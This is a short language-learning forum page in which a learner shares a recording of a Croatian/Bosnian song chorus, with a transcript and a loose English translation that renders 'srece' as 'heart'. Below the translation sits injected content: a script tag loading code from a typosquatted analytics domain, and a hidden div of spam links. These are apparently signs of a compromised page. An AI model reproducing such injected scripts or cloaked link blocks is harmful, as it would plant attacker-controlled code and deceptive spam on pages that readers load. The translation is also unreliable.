Language sounds
Home > Sounds > I'm trying to sing a Croatian/Bosnian song

‘I'm trying to sing a Croatian/Bosnian song’
Click to listen to Da Je Srece Bilo - 2007-11-16.wav (290Kb)
Non-native speaker
Author: Taiga
Date: 11/23/2007

Description of what is on the sound file:
I'm trying to sing the chorus of a popular Bosnian/Croatian song Da je srece bilo by Zeljko Bebek.

---

Transcript of sound file:
Da je srece bilo, ti bi sa mnom spavala
Da je srece bilo, djecu bi mi rodila

---

Translation:
(( Here's the literal English translation, although you may not feel fully the meaning ))

If the heart was there, You would be sleeping next to me
If the heart was there, you will bear my child.

'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)